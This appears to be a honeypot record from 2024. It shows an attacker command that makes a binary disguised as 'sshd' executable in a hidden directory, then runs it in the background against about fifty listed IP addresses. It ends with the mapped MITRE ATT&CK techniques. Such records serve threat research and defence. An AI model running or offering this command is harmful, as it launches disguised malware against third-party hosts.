Honeypot attack session (period 2024), commands issued:
chmod +x ./.1848079535649122752/sshd;nohup ./.1848079535649122752/sshd 107.174.250.150 51.159.17.182 193.169.244.205 37.58.18.246 185.125.91.149 39.152.235.158 47.236.64.91 45.192.77.135 89.116.73.228 77.87.122.176 23.94.136.106 183.131.22.164 222.77.96.62 202.133.88.34 211.154.194.21 103.145.145.82 45.192.69.185 103.244.80.196 13.42.129.207 45.192.69.150 221.181.168.32 117.161.233.102 112.4.238.226 124.118.249.114 43.134.46.152 79.120.74.12 134.209.0.27 5.42.73.122 222.77.96.50 36.99.168.63 15.206.79.116 154.12.187.10 45.192.65.170 51.79.230.233 182.151.25.46 162.240.149.176 45.192.69.156 107.172.84.105 178.160.195.113 45.192.69.189 14.29.219.18 47.236.144.160 58.216.8.103 141.11.159.187 45.192.73.144 45.61.132.227 36.108.168.4 5.180.24.99 18.139.171.248 88.218.249.242 91.225.217.50 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter